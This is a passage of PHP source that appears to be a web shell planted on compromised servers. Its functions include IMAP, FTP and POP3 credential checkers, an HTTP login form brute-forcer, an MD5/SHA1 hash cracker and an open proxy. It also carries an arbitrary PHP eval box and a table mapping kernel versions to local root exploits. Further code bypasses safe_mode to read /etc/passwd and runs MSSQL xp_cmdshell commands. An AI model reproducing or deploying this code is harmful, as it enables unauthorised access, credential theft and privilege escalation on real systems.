"$et<table border=0 style='border-collapse: collapse' width='65%'><tr><td width='100%' bgcolor='#333333'>New:</td></tr><tr>$td1n<form method='POST'><input type=text size=47 name=newf></td></tr><tr>$td2m$hcwd<input class=buttons type=submit name=newfile value='File'><input class=buttons type=submit name=newdir value='Folder'></form>$et</td><td width='50%'><br>${t}Upload:</td></tr><tr>$td1n<form method='POST' enctype='multipart/form-data'><input type=file size=45 name=uploadfile></td></tr><tr>$td2m$hcwd<input class=buttons type=submit value=Upload></td></tr>$td1n Note: Max allowed file size to upload on this server is $min</form>$et$et";
  840. }
  841. }
  842. function imapchecK($host,$username,$password,$timeout){
  843. $sock=fsockopen($host,143,$n,$s,$timeout);
  844. $b=uniqid('NJ');
  845. $l=strlen($b);
  846. if(!$sock)return -1;
  847. fread($sock,1024);
  848. fputs($sock,"$b LOGIN $username $password\r\n");
  849. $res=fgets($sock,$l+4);
  850. fclose($sock);
  851. if($res=="$b OK")return 1;else return 0;
  852. }
  853. function ftpchecK($host,$username,$password,$timeout){
  854. $ftp=ftp_connect($host,21,$timeout);
  855. if(!$ftp)return -1;
  856. $con=ftp_login($ftp,$username,$password);
  857. if($con)return 1;else return 0;
  858. }
  859. function pop3checK($server,$user,$pass,$timeout){
  860. $sock=fsockopen($server,110,$en,$es,$timeout);
  861. if(!$sock)return -1;
  862. fread($sock,1024);
  863. fwrite($sock,"user $user\n");
  864. $r=fgets($sock);
  865. if($r{0}=='-')return 0;
  866. fwrite($sock,"pass $pass\n");
  867. $r=fgets($sock);
  868. fclose($sock);
  869. if($r{0}=='+')return 1;
  870. return 0;
  871. }
  872. function formcrackeR(){
  873. global $errorbox,$footer,$et,$hcwd;
  874. if(!empty($_REQUEST['start'])){
  875. if(isset($_REQUEST['loG'])&& !empty($_REQUEST['logfilE'])){$log=1;$file=$_REQUEST['logfilE'];}else $log=0;
  876. $url=$_REQUEST['target'];
  877. $uf=$_REQUEST['userf'];
  878. $pf=$_REQUEST['passf'];
  879. $sf=$_REQUEST['submitf'];
  880. $sv=$_REQUEST['submitv'];
  881. $method=$_REQUEST['method'];
  882. $fail=$_REQUEST['fail'];
  883. $dic=$_REQUEST['dictionary'];
  884. $type=$_REQUEST['combo'];
  885. $user=(!empty($_REQUEST['user']))?$_REQUEST['user']:'';
  886. if(!file_exists($dic))die("$errorbox Can not open dictionary.$et$footer");
  887. $dictionary=fopen($dic,'r');
  888. echo '<font color=blue>Cracking started...<br>';
  889. while(!feof($dictionary)){
  890. if($type){
  891. $combo=trim(fgets($dictionary)," \n\r");
  892. $user=substr($combo,0,strpos($combo,':'));
  893. $pass=substr($combo,strpos($combo,':')+1);
  894. }else{
  895. $pass=trim(fgets($dictionary)," \n\r");
  896. }
  897. $url.="?$uf=$user&$pf=$pass&$sf=$sv";
  898. $res=check_urL($url,$method,$fail,12);
  899. if(!$res){echo "<font color=blue>U: $user P: $pass</font><br>";if($log)file_add_contentS($file,"U: $user P: $pass\r\n");if(!$type)break;}
  900. }
  901. fclose($dictionary);
  902. echo 'Done!</font><br>';
  903. }
  904. else echo "<center><table border=0 style='border-collapse: collapse' width='434'><tr><td width='174' bgcolor='#333333'>HTTP Form cracker:</td><td bgcolor='#333333' width='253'></td></tr><form method='POST' name=form><tr><td width='174' bgcolor='#666666'>Dictionary:</td><td bgcolor='#666666' width='253'><input type=text name=dictionary size=35></td></tr><tr><td width='174' bgcolor='#808080'>Dictionary type:</td><td bgcolor='#808080'><input type=radio name=combo checked value=0 onClick='document.form.user.disabled = false;' style='border-width:1px;background-color:#808080;'>Simple (P)<input type=radio value=1 name=combo onClick='document.form.user.disabled = true;' style='border-width:1px;background-color:#808080;'>Combo (U:P)</td></tr><tr><td width='174' bgcolor='#666666'>Username:</td><td bgcolor='#666666'><input type=text size=35 value=root name=user>$hcwd</td></tr><tr><td width='174' bgcolor='#808080'>Action Page:</td><td bgcolor='#808080' width='253'><input type=text name=target value='http://".getenv('HTTP_HOST')."/login.php' size=35></td></tr><tr><td width='174' bgcolor='#666666'>Method:</td><td bgcolor='#666666' width='253'><select size='1' name='method'><option selected value='POST'>POST</option><option value='GET'>GET</option></select></td></tr><tr><td width='174' bgcolor='#808080'>Username field name:</td><td bgcolor='#808080' width='253'><input type=text name=userf value=user size=35></td></tr><tr><td width='174' bgcolor='#666666'>Password field name:</td><td bgcolor='#666666' width='253'><input type=text name=passf value=passwd size=35></td></tr><tr><td width='174' bgcolor='#808080'>Submit name:</td><td bgcolor='#808080' width='253'><input type=text value=login name=submitf size=35></td></tr><tr><td width='174' bgcolor='#666666'>Submit value:</td><td bgcolor='#666666' width='253'><input type=text value='Login' name=submitv size=35></td></tr><tr><td width='174' bgcolor='#808080'>Fail string:</td><td bgcolor='#808080' width='253'><input type=text name=fail value='Try again' size=35></td></tr><tr><td width='174' bgcolor='#666666'><input type=checkbox name=loG value=1 onClick='document.form.logfilE.disabled = !document.form.logfilE.disabled;' style='border-width:1px;background-color:#666666;' checked>Log</td><td bgcolor='#666666'><input type=text name=logfilE size=25 value='".whereistmP().DIRECTORY_SEPARATOR.".log'> <input class=buttons type=submit name=start value=Start></form>$et</center>";
  905. }
  906. function hashcrackeR(){
  907. global $errorbox,$t,$et,$hcwd;
  908. if(!empty($_REQUEST['hash']) && !empty($_REQUEST['dictionary']) && !empty($_REQUEST['type'])){
  909. if(isset($_REQUEST['loG'])&& !empty($_REQUEST['logfilE'])){$log=1;$file=$_REQUEST['logfilE'];}else $log=0;
  910. $dictionary=fopen($_REQUEST['dictionary'],'r');
  911. if($dictionary){
  912. $hash=strtoupper($_REQUEST['hash']);
  913. echo '<font color=blue>Cracking '.htmlspecialchars($hash).'...<br>';
  914. $type=($_REQUEST['type']=='MD5')?'md5':'sha1';
  915. while(!feof($dictionary)){
  916. $word=trim(fgets($dictionary)," \n\r");
  917. if($hash==strtoupper(($type($word)))){echo "The answer is $word<br>";if($log)file_add_contentS($file,"$x\r\n");break;}
  918. }
  919. echo 'Done!</font>';
  920. fclose($dictionary);
  921. }
  922. else{
  923. echo "$errorbox Can not open dictionary.$et";
  924. }
  925. }
  926. echo "<center>${t}Hash cracker:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>Dictionary:</td><td bgcolor='#666666'><input type=text name=dictionary size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Hash:</td><td bgcolor='#808080'><input type=text name=hash size=35></td></tr><tr><td width='20%' bgcolor='#666666'>Type:</td><td bgcolor='#666666'><select name=type><option selected value=MD5>MD5</option><option value=SHA1>SHA1</option></select></td></tr><tr><td width='20%' bgcolor='#808080'><input type=checkbox name=loG value=1 onClick='document.form.logfilE.disabled = !document.form.logfilE.disabled;' style='border-width:1px;background-color:#808080;' checked>Log</td><td bgcolor='#808080'><input type=text name=logfilE size=25 value='".whereistmP().DIRECTORY_SEPARATOR.".log'> $hcwd <input class=buttons type=submit value=Start></form>$et</center>";
  927. }
  928. function pr0xy(){
  929. global $errorbox,$et,$footer,$hcwd;
  930. echo "<table border=0 cellpadding=0 cellspacing=0 style='border-collapse: collapse' bgcolor='#333333' width='100%'><form method='POST'><tr><td width='20%'><b>Navigator: </b><input type=text name=urL size=140 value='";if(!!empty($_REQUEST['urL'])) echo 'http://www.edpsciences.org/htbin/ipaddress'; else echo htmlspecialchars($_REQUEST['urL']);echo "'>$hcwd<input type=submit class=buttons value=Go></form>$et";
  931. if(!empty($_REQUEST['urL'])){
  932. $u=parse_url($_REQUEST['urL']);
  933. $host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/';
  934. $dir=dirname($file);
  935. $con=getiT($_REQUEST['urL']);
  936. $s=array("href=mailto"=>"HrEf=mailto","HREF=mailto"=>"HrEf=mailto","href='mailto"=>"HrEf=\"mailto","HREF=\"mailto"=>"HrEf=\"mailto","href=\'mailto"=>"HrEf=\"mailto","HREF=\'mailto"=>"HrEf=\"mailto","href=\"http"=>"HrEf=\"".hlinK("seC=px&urL=http"),"href=\'http"=>"HrEf=\"".hlinK("seC=px&urL=http"),"HREF=\'http"=>"HrEf=\"".hlinK("seC=px&urL=http"),"href=http"=>"HrEf=".hlinK("seC=px&urL=http"),"HREF=http"=>"HrEf=".hlinK("seC=px&urL=http"),"href=\""=>"HrEf=\"".hlinK("seC=px&urL=http://$host/$dir/"),"HREF=\""=>"HrEf=\"".hlinK("seC=px&urL=http://$host/$dir/"),"href=\""=>"HrEf=\'".hlinK("seC=px&urL=http://$host/$dir/"),'HREF="'=>'HrEf="'.hlinK("seC=px&urL=http://$host/$dir/"),"href="=>"HrEf=".hlinK("seC=px&urL=http://$host/$dir/"),"HREF="=>"HrEf=".hlinK("seC=px&urL=http://$host/$dir/"));
  937. $con=replace_stR($s,$con);
  938. echo $con;
  939. }
  940. }
  941. function sqlclienT(){
  942. global $t,$errorbox,$et,$hcwd;
  943. if(!empty($_REQUEST['serveR']) && !empty($_REQUEST['useR']) && isset($_REQUEST['pasS']) && !empty($_REQUEST['querY'])){
  944. $server=$_REQUEST['serveR'];$type=$_REQUEST['typE'];$pass=$_REQUEST['pasS'];$user=$_REQUEST['useR'];$query=$_REQUEST['querY'];
  945. $db=(empty($_REQUEST['dB']))?'':$_REQUEST['dB'];
  946. $res=querY($type,$server,$user,$pass,$db,$query);
  947. if($res){
  948. $res=str_replace('|-|-|-|-|-|','</td><td>',$res);
  949. $res=str_replace('|+|+|+|+|+|','</td></tr><tr><td>',$res);
  950. $r=explode('[+][+][+]',$res);
  951. $r[1]=str_replace('[-][-][-]',"</td><td bgcolor='333333'>",$r[1]);
  952. echo "<table border=0 bgcolor='666666' width='100%'></tr><tr><td bgcolor='333333'>".$r[1].'</tr><tr><td>'.$r[0]."$et<br>";
  953. }
  954. else{
  955. echo "$errorbox Failed!$et<br>";
  956. }
  957. }
  958. if(empty($_REQUEST['typE']))$_REQUEST['typE']='';
  959. echo "<center>${t}SQL cilent:</td><form name=client method='POST'><td bgcolor='#333333'><select name=typE><option valut=MySQL  onClick='document.client.serveR.disabled = false;' ";if ($_REQUEST['typE']=='MySQL')echo 'selected';echo ">MySQL</option><option valut=MSSQL onClick='document.client.serveR.disabled = false;' ";if ($_REQUEST['typE']=='MSSQL')echo 'selected';echo ">MSSQL</option><option valut=Oracle onClick='document.client.serveR.disabled = true;' ";if ($_REQUEST['typE']=='Oracle')echo 'selected';echo ">Oracle</option><option valut=PostgreSQL onClick='document.client.serveR.disabled = false;' ";if ($_REQUEST['typE']=='PostgreSQL')echo 'selected';echo ">PostgreSQL</option></select></td></tr><tr><td width='20%' bgcolor='#666666'>Server:</td><td bgcolor='#666666'><input type=text value='";if (!empty($_REQUEST['serveR'])) echo htmlspecialchars($_REQUEST['serveR']);else echo 'localhost'; echo "' name=serveR size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Username:</td><td bgcolor='#808080'><input type=text name=useR value='";if (!empty($_REQUEST['useR'])) echo htmlspecialchars($_REQUEST['useR']);else echo 'root'; echo "' size=35></td><tr><td width='20%' bgcolor='#666666'>Password:</td><td bgcolor='#666666'><input type=text value='";if (isset($_REQUEST['pasS'])) echo htmlspecialchars($_REQUEST['pasS']);else echo '123456'; echo "' name=pasS size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Database:</td><td bgcolor='#808080'><input type=text value='";if (!empty($_REQUEST['dB'])) echo htmlspecialchars($_REQUEST['dB']); echo "' name=dB size=35></td><tr><td width='20%' bgcolor='#666666'>Query:</td><td bgcolor='#666666'><textarea name=querY rows=5 cols=27>";if (!empty($_REQUEST['querY'])) echo htmlspecialchars(($_REQUEST['querY']));else echo 'SHOW DATABASES'; echo "</textarea></td></tr></tr><tr><td width='20%' bgcolor='#808080'></td><td bgcolor='#808080' align=right>$hcwd<input class=buttons type=submit value='Submit Query'></form>$et</center>";
  960. }
  961. function querY($type,$host,$user,$pass,$db='',$query){
  962. $res='';
  963. switch($type){
  964. case 'MySQL':
  965. if(!function_exists('mysql_connect'))return 0;
  966. $link=mysql_connect($host,$user,$pass);
  967. if($link){
  968. if(!empty($db))mysql_select_db($db,$link);
  969. $result=mysql_query($query,$link);
  970. while($data=mysql_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|';
  971. $res.='[+][+][+]';
  972. for($i=0;$i<mysql_num_fields($result);$i++)
  973. $res.=mysql_field_name($result,$i).'[-][-][-]';
  974. mysql_close($link);
  975. return $res;
  976. }
  977. break;
  978. case 'MSSQL':
  979. if(!function_exists('mssql_connect'))return 0;
  980. $link=mssql_connect($host,$user,$pass);
  981. if($link){
  982. if(!empty($db))mssql_select_db($db,$link);
  983. $result=mssql_query($query,$link);
  984. while($data=mssql_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|';
  985. $res.='[+][+][+]';
  986. for($i=0;$i<mssql_num_fields($result);$i++)
  987. $res.=mssql_field_name($result,$i).'[-][-][-]';
  988. mssql_close($link);
  989. return $res;
  990. }
  991. break;
  992. case 'Oracle':
  993. if(!function_exists('ocilogon'))return 0;
  994. $link=ocilogon($user,$pass,$db);
  995. if($link){
  996. $stm=ociparse($link,$query);
  997. ociexecute($stm,OCI_DEFAULT);
  998. while($data=ocifetchinto($stm,$data,OCI_ASSOC+OCI_RETURN_NULLS))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|';
  999. $res.='[+][+][+]';
  1000. for($i=0;$i<oci_num_fields($stm);$i++)
  1001. $res.=oci_field_name($stm,$i).'[-][-][-]';
  1002. return $res;
  1003. }
  1004. break;
  1005. case 'PostgreSQL':
  1006. if(!function_exists('pg_connect'))return 0;
  1007. $link=pg_connect("host=$host dbname=$db user=$user password=$pass");
  1008. if($link){
  1009. $result=pg_query($link,$query);
  1010. while($data=pg_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|';
  1011. $res.='[+][+][+]';
  1012. for($i=0;$i<pg_num_fields($result);$i++)
  1013. $res.=pg_field_name($result,$i).'[-][-][-]';
  1014. pg_close($link);
  1015. return $res;
  1016. }
  1017. break;
  1018. }
  1019. return 0;
  1020. }
  1021. function phpevaL(){
  1022. global $t,$hcwd,$et;
  1023. echo '<center>';
  1024. if(!empty($_REQUEST['code'])){
  1025. $s=array('<?php'=>'','<?'=>'','?>'=>'');
  1026. echo "<textarea rows='10' cols='64'>";echo htmlspecialchars(eval(replace_stR($s,$_REQUEST['code'])));echo '</textarea><br><br>';
  1027. }
  1028. echo "${t}Evaler:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>Codes:</td><td bgcolor='#666666'><textarea rows='10' name='code' cols='64'>";if(!empty($_REQUEST['code']))echo htmlspecialchars($_REQUEST['code']);echo "</textarea></td></tr><tr><td width='20%' bgcolor='#666666'></td><td bgcolor='#666666' align=right>$hcwd<input class=buttons type=submit value=Execute></form>$et</center>";
  1029. }
  1030. function rootxpL(){
  1031. $v=php_uname();
  1032. $db=array('2.6.17'=>'prctl3, raptor_prctl, py2','2.6.16'=>'raptor_prctl, exp.sh, raptor, raptor2, h00lyshit','2.6.15'=>'py2, exp.sh, raptor, raptor2, h00lyshit','2.6.14'=>'raptor, raptor2, h00lyshit','2.6.13'=>'kdump, local26, py2, raptor_prctl, exp.sh, prctl3, h00lyshit','2.6.12'=>'h00lyshit','2.6.11'=>'krad3, krad, h00lyshit','2.6.10'=>'h00lyshit, stackgrow2, uselib24, exp.sh, krad, krad2','2.6.9'=>'exp.sh, krad3, py2, prctl3, h00lyshit','2.6.8'=>'h00lyshit, krad, krad2','2.6.7'=>'h00lyshit, krad, krad2','2.6.6'=>'h00lyshit, krad, krad2','2.6.2'=>'h00lyshit, krad, mremap_pte','2.6.'=>'prctl, kmdx, newsmp, pwned, ptrace_kmod, ong_bak','2.4.29'=>'elflbl, expand_stack, stackgrow2, uselib24, smpracer','2.4.27'=>'elfdump, uselib24','2.4.25'=>'uselib24','2.4.24'=>'mremap_pte, loko, uselib24','2.4.23'=>'mremap_pte, loko, uselib24','2.4.22'=>'loginx, brk, km2, loko, ptrace, uselib24, brk2, ptrace-kmod','2.4.21'=>'w00t, brk, uselib24, loginx, brk2, ptrace-kmod','2.4.20'=>'mremap_pte, w00t, brk, ave, uselib24, loginx, ptrace-kmod, ptrace, kmod','2.4.19'=>'newlocal, w00t, ave, uselib24, loginx, kmod','2.4.18'=>'km2, w00t, uselib24, loginx, kmod','2.4.17'=>'newlocal, w00t, uselib24, loginx, kmod','2.4.16'=>'w00t, uselib24, loginx','2.4.10'=>'w00t, brk, uselib24, loginx','2.4.9'=>'ptrace24, uselib24','2.4.'=>'kmdx, remap, pwned, ptrace_kmod, ong_bak','2.2.25'=>'mremap_pte','2.2.24'=>'ptrace','2.2.'=>'rip');
  1033. foreach($db as $k=>$x)if(strstr($v,$k))return $x;
  1034. return 0;
  1035. }
  1036. function toolS(){
  1037. global $t,$hcwd,$et,$cwd;
  1038. if(!empty($_REQUEST['serveR']) && !empty($_REQUEST['domaiN'])){
  1039. $ser=fsockopen($_REQUEST['serveR'],43,$en,$es,5);
  1040. fputs($ser,$_REQUEST['domaiN']."\r\n");
  1041. echo '<pre>';
  1042. while(!feof($ser))echo fgets($ser,1024);
  1043. echo '</pre>';
  1044. fclose($ser);
  1045. }
  1046. elseif(!empty($_REQUEST['urL'])){
  1047. $h='';
  1048. $u=parse_url($_REQUEST['urL']);
  1049. $host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/';$port=(empty($u['port']))?80:$u['port'];
  1050. $ser=fsockopen($host,$port,$en,$es,5);
  1051. if($ser){
  1052. fputs($ser,"GET $file\r\nHost: $host\r\n\r\n");
  1053. echo '<pre>';
  1054. while($h!="\r\n"){$h=fgets($ser,1024);echo $h;}
  1055. echo '</pre>';
  1056. fclose($ser);
  1057. }
  1058. }
  1059. elseif(!empty($_REQUEST['ouT']) && isset($_REQUEST['pW'])&& !empty($_REQUEST['uN'])){
  1060. $htpasswd=$_REQUEST['ouT'].DIRECTORY_SEPARATOR.'.htpasswd';
  1061. $htaccess=$_REQUEST['ouT'].DIRECTORY_SEPARATOR.'.htaccess';
  1062. file_put_contents($htpasswd,$_REQUEST['uN'].':'.crypt(trim($_REQUEST['pW']),CRYPT_STD_DES));
  1063. file_put_contents($htaccess,"AuthName \"Secure\"\r\nAuthType Basic\r\nAuthUserFile $htpasswd\r\nRequire valid-user\r\n");
  1064. echo '<font color=blue>Done</font>';
  1065. }
  1066. $s="</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>";
  1067. echo "<center>${t}WhoIs:${s}Server:</td><td bgcolor='#666666'><input type=text value='";if (!empty($_REQUEST['serveR'])) echo htmlspecialchars($_REQUEST['serveR']);else echo 'whois.geektools.com'; echo "' name=serveR size=35></td></tr><tr><td width='20%' bgcolor='#808080'>domain:</td><td bgcolor='#808080'><input type=text name=domaiN value='";if (!empty($_REQUEST['domaiN'])) echo htmlspecialchars($_REQUEST['domaiN']); else echo 'google.com'; echo  "' size=35></td><tr><td bgcolor='#666666'></td><td bgcolor='#666666' align=right>$hcwd<input class=buttons type=submit value='Do'></form>$et<br>${t}.ht* generator:${s}Username:</td><td bgcolor='#666666'><input type=text value='";if (!empty($_REQUEST['uN'])) echo htmlspecialchars($_REQUEST['uN']);else echo 'r00t'; echo "' name=uN size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Password:</td><td bgcolor='#808080'><input type=text name=pW value='";if (!empty($_REQUEST['pW'])) echo htmlspecialchars($_REQUEST['pW']); else echo uniqid('@'); echo "' size=35></td><tr><td width='20%' bgcolor='#666666'>Directory:</td><td bgcolor='#666666'><input type=text name=ouT value='";if (!empty($_REQUEST['ouT'])) echo htmlspecialchars($_REQUEST['ouT']); else echo $cwd; echo "' size=35></td><tr><td bgcolor='#808080'></td><td bgcolor='#808080' align=right>$hcwd<input class=buttons type=submit value=Make></form>$et<br>${t}Grab header:${s}URL:</td><td bgcolor='#666666'><input type=text value='";if (!empty($_REQUEST['urL']))echo htmlspecialchars($_REQUEST['urL']);else echo 'http://netjackal.by.ru/index.htm'; echo "' name=urL size=35></td></tr><tr><td bgcolor='#808080'></td><td bgcolor='#808080' align=right>$hcwd<input class=buttons type=submit value='Get'></form>$et<br></center>";
  1068. }
  1069. function hexvieW(){
  1070. if(!empty($_REQUEST['filE'])){
  1071. $f=$_REQUEST['filE'];
  1072. echo "<table border=0 style='border-collapse: collapse' width='100%'><td width='10%' bgcolor='#282828'>Offset</td><td width='25%' bgcolor='#282828'>Hex</td><td width='25%' bgcolor='#282828'></td><td width='40%' bgcolor='#282828'>ASCII</td></tr>";
  1073. $file=fopen($f,'r');
  1074. $i=-1;
  1075. while(!feof($file)){
  1076. $ln='';
  1077. $i++;
  1078. echo "<tr><td width='10%' bgcolor='#";
  1079. if($i % 2==0)echo '666666';else echo '808080';
  1080. echo "'>";echo str_repeat('0',(8-strlen($i*16))).$i*16;echo '</td>';
  1081. echo "<td width='25%' bgcolor='#";
  1082. if($i % 2==0)echo '666666';else echo '808080';
  1083. echo "'>";
  1084. for($j=0;$j<=7;$j++){
  1085. if(!feof($file)){
  1086. $tmp=strtoupper(dechex(ord(fgetc($file))));
  1087. if(strlen($tmp)==1)$tmp='0'.$tmp;
  1088. echo $tmp.' ';
  1089. $ln.=$tmp;
  1090. }
  1091. }
  1092. echo "</td><td width='25%' bgcolor='#";
  1093. if($i % 2==0)echo '666666';else echo '808080';
  1094. echo "'>";
  1095. for($j=7;$j<=14;$j++){
  1096. if(!feof($file)){
  1097. $tmp=strtoupper(dechex(ord(fgetc($file))));
  1098. if(strlen($tmp)==1)$tmp='0'.$tmp;
  1099. echo $tmp.' ';
  1100. $ln.=$tmp;
  1101. }
  1102. }
  1103. echo "</td><td width='40%' bgcolor='#";
  1104. if($i % 2==0)echo '666666';else echo '808080';
  1105. echo "'>";
  1106. $n=0;$asc='';$co=0;
  1107. for($k=0;$k<=16;$k++){
  1108. $co=hexdec(substr($ln,$n,2));
  1109. if(($co<=31)||(($co>=127)&&($co<=160)))$co=46;
  1110. $asc.=chr($co);
  1111. $n+=2;
  1112. }
  1113. echo htmlspecialchars($asc);
  1114. echo '</td></tr>';
  1115. }
  1116. }
  1117. fclose($file);
  1118. echo '</table>';
  1119. }
  1120. function safemodE(){
  1121. global $windows,$t,$hcwd,$et;
  1122. $file=(empty($_REQUEST['file']))?'/etc/passwd':$_REQUEST['file'];
  1123. $pr="\r\n</font><font color=green>Method ";
  1124. $po=")</font><font color=blue>\r\n";
  1125. $i=1;
  1126. if(!empty($_REQUEST['read'])){
  1127. echo "<pre>$pr$i:(ini_restore$po";
  1128. ini_restore('safe_mode');ini_restore('open_basedir');
  1129. readfile($file);
  1130. $i++;
  1131. echo "$pr$i:(include$po";
  1132. include($file);
  1133. $i++;
  1134. echo "$pr$i:(copy$po";
  1135. $tmp=tempnam('','cx');
  1136. copy('compress.zlib://'.$file,$tmp);
  1137. $fh=fopen($tmp,'r');
  1138. $data=fread($fh,filesize($tmp));
  1139. fclose($fh);
  1140. echo $data;
  1141. $i++;
  1142. if(function_exists('mb_send_mail')){
  1143. echo "$pr$i:(mb_send_mail$po";
  1144. if(file_exists('/tmp/mb_send_mail'))unlink('/tmp/mb_send_mail');
  1145. mb_send_mail(NULL, NULL, NULL, NULL,'-C $file -X /tmp/mb_send_mail');
  1146. readfile('/tmp/mb_send_mail');
  1147. $i++;
  1148. }
  1149. if(function_exists('curl_init')){
  1150. echo "$pr$i:(curl_init [A]$po";
  1151. $fh=curl_init('file://'.$file.'');
  1152. $tmp=curl_exec($fh);
  1153. echo $tmp;
  1154. $i++;
  1155. echo "$pr$i:(curl_init [B]$po";
  1156. $i++;
  1157. if(strstr($file,DIRECTORY_SEPARATOR))$ch=curl_init('file:///'.$file."\x00/../../../../../../../../../../../../".__FILE__);
  1158. else $ch=curl_init('file://'.$file."\x00".__FILE__);
  1159. var_dump(curl_exec($ch));
  1160. }
  1161. if(is_writable('.')){
  1162. echo "$pr$i:(php.ini$po";
  1163. file_put_contents('php.ini','safe_mode = Off');
  1164. readfile($file);
  1165. unlink('php.ini');
  1166. $i++;
  1167. }
  1168. if(is_object($ws=new COM('WScript.Shell'))){
  1169. echo "$pr$i:(COM$po";
  1170. echo $exec=comshelL("type \"$file\"",$ws);
  1171. $i++;
  1172. }
  1173. if(checkfunctioN('win_shell_execute')){
  1174. echo "$pr$i:(win32std$po";
  1175. echo winshelL("type \"$file\"");
  1176. $i++;
  1177. }
  1178. if(checkfunctioN('win32_create_service')){
  1179. echo "$pr$i:(win32service$po";
  1180. echo srvshelL("type \"$file\"");
  1181. $i++;
  1182. }
  1183. if(function_exists('imap_open')){
  1184. echo "$pr$i:(imap [A]$po";
  1185. $str=imap_open('/etc/passwd','','');
  1186. $list=imap_list($str,$file,'*');
  1187. for($i=0;$i<count($list);$i++)echo $list[$i]."\n";
  1188. imap_close($str);
  1189. $i++;
  1190. echo "$pr$i:(imap [B]$po";
  1191. $str=imap_open($file,'','');
  1192. $tmp=imap_body($str,1);
  1193. echo $tmp;
  1194. imap_close($str);
  1195. $i++;
  1196. }
  1197. if($file=='/etc/passwd'){
  1198. echo "$pr$i:(posix$po";
  1199. for($uid=0;$uid<99999;$uid++){
  1200. $h=posix_getpwuid($uid);
  1201. if(!empty($h))foreach($h as $v)echo "$v:";
  1202. echo "\r\n";
  1203. }
  1204. }
  1205. echo "\n</pre></font>";
  1206. }
  1207. elseif(!empty($_REQUEST['show'])){
  1208. echo "<pre>$pr$i:(glob$po";
  1209. $con=glob("$file*");
  1210. foreach ($con as $v){
  1211.    echo "$v\n";
  1212. }
  1213. $i++;
  1214. if(function_exists('imap_open')){
  1215. echo "$pr$i:(imap$po";
  1216. $str=imap_open('/etc/passwd','','');
  1217. $s=explode("|",$file);
  1218. if(count($s)>1)$list=imap_list($str,trim($s[0]),trim($s[1]));else $list=imap_list($str,trim($str[0]),'*');
  1219. for($i=0;$i<count($list);$i++)echo "$list[$i]\r\n";
  1220. imap_close($str);
  1221. $i++;
  1222. }
  1223. if(is_object($ws=new COM('WScript.Shell'))){
  1224. echo "$pr$i:(COM$po";
  1225. $exec=comshelL("dir \"$file\"",$ws);
  1226. $exec=str_replace("\t",'',$exec);
  1227. echo $exec;
  1228. $i++;
  1229. }
  1230. if(checkfunctioN('win_shell_execute')){
  1231. echo "$pr$i:(win32std$po";
  1232. echo winshelL("dir \"$file\"");
  1233. $i++;
  1234. }
  1235. if(checkfunctioN('win32_create_service')){
  1236. echo "$pr$i:(win32service$po";
  1237. echo srvshelL("dir \"$file\"");
  1238. $i++;
  1239. }
  1240. echo "\n</pre></font>";
  1241. }
  1242. elseif(!empty($_REQUEST['sql'])){
  1243. $ta=uniqid('N');
  1244. $s=array("CREATE TEMPORARY TABLE $ta (file LONGBLOB)","LOAD DATA INFILE '".addslashes($_REQUEST['file'])."' INTO TABLE $ta","SELECT * FROM $ta");
  1245. $l=mysql_connect('localhost', $_REQUEST['user'], $_REQUEST['pass']);
  1246. mysql_select_db($_REQUEST['db'],$l);
  1247. echo '<pre><font color=blue>';
  1248. foreach($s as $v){
  1249. $q = mysql_query($v,$l);
  1250. while($d=mysql_fetch_row($q))echo htmlspecialchars($d[0]);
  1251. }
  1252. echo '</pre></font>';
  1253. }
  1254. elseif(!empty($_REQUEST['serveR']) && !empty($_REQUEST['coM']) && !empty($_REQUEST['dB']) && !empty($_REQUEST['useR']) && isset($_REQUEST['pasS'])){
  1255. $res='';
  1256. $tb=uniqid('NJ');
  1257. $db=mssql_connect($_REQUEST['serveR'],$_REQUEST['useR'],$_REQUEST['pasS']);
  1258. mssql_select_db($_REQUEST['dB'],$db);
  1259. mssql_query("create table $tb ( string VARCHAR (500) NULL)",$db);
  1260. mssql_query("insert into $tb EXEC master.dbo.xp_cmdshell '".$_REQUEST['coM']."'",$db);
  1261. $re=mssql_query("select * from $tb",$db);
  1262. while(($row=mssql_fetch_row($re)))
  1263. {
  1264. $res.= $row[0]."\r\n";
  1265. }
  1266. mssql_query("drop table $tb",$db);
  1267. mssql_close($db);
  1268. echo "<center><textarea rows='18' cols='64'>$res</textarea></center><br>";
  1269. }
  1270. $f=(!empty($_REQUEST['file']))?htmlspecialchars($_REQUEST['file']):'/etc/passwd';
  1271. $u=(!empty($_REQUEST['user']))?htmlspecialchars($_REQUEST['user']):'root';
  1272. $p=(!empty($_REQUEST['pass']))?htmlspecialchars($_REQUEST['pass']):'123456';
  1273. $d=(!empty($_REQUEST['db']))?htmlspecialchars($_REQUEST['db']):'test';
  1274. echo "<center>${t}Use PHP Bugs:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>File:</td><td bgcolor='#666666'><input type=text value='$f' name=file size=35></td></tr><tr><td bgcolor='#808080'></td><td bgcolor='#808080' align=right>$hcwd<input class=buttons type=submit name=read value='Read File'><input class=buttons type=submit name=show value='Show directory'></form>$et<br>${t}Use MySQL:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>File:</td><td bgcolor='#666666'><input type=text value='$f' name=file size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Username:</td><td bgcolor='#808080'><input type=text name=user value='$u'></td></tr><tr><td width='20%' bgcolor='#666666'>Password:</td><td bgcolor='#666666'><input type=text name=pass value='$p'></td></tr><tr><td width='20%' bgcolor='#808080'>Database:</td><td bgcolor='#808080'><input type=text name=db value='$d'></td></tr><tr><td bgcolor='#666666'></td><td bgcolor='#666666' align=right>$hcwd<input class=buttons type=submit name=sql value='Read'></form>$et<br>${t}MSSQL Exec:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' 